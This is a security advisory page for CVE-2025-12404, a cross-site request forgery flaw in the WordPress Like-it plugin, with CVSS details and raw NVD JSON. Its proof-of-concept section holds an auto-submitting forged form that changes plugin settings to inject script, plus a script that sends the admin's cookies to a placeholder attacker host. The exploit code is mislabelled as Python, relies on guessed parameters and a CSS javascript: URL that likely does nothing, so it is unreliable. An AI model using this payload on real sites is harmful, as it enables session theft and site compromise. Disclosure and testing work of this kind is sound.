Security Vulnerability Report
中文
CVE-2025-12404 CVSS 6.1 MEDIUM

CVE-2025-12404

Published: 2025-11-18 09:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Like-it plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the likeit_conf() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Like-it plugin ≤ 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12404: Like-it Plugin Configuration Change --> <html> <body> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form"> <input type="hidden" name="action" value="likeit_conf" /> <input type="hidden" name="likeit_button_text" value="Click me" /> <input type="hidden" name="likeit_custom_css" value="img { background: url('javascript:alert(document.cookie)'); }" /> <!-- Add other configuration parameters as needed --> </form> <script> document.getElementById('csrf-form').submit(); </script> </body> </html> <!-- Stored XSS PoC (after CSRF successfully modifies settings) --> <!-- Attacker injects malicious JavaScript through the vulnerable configuration --> <script> // Malicious code to steal admin session or deface site fetch('https://attacker-site.com/steal?cookie=' + document.cookie); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12404", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:48.113", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Like-it plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2. This is due to missing or incorrect nonce validation on the likeit_conf() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/like-it/tags/2.2/like-it.php#L130", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/like-it/tags/2.2/like-it.php#L131", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/like-it/tags/2.2/tpl/config.php#L37", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6ad1d9f5-c224-4d28-8d73-439b3c5ca24f?source=cve", "source": "[email protected]"}]}}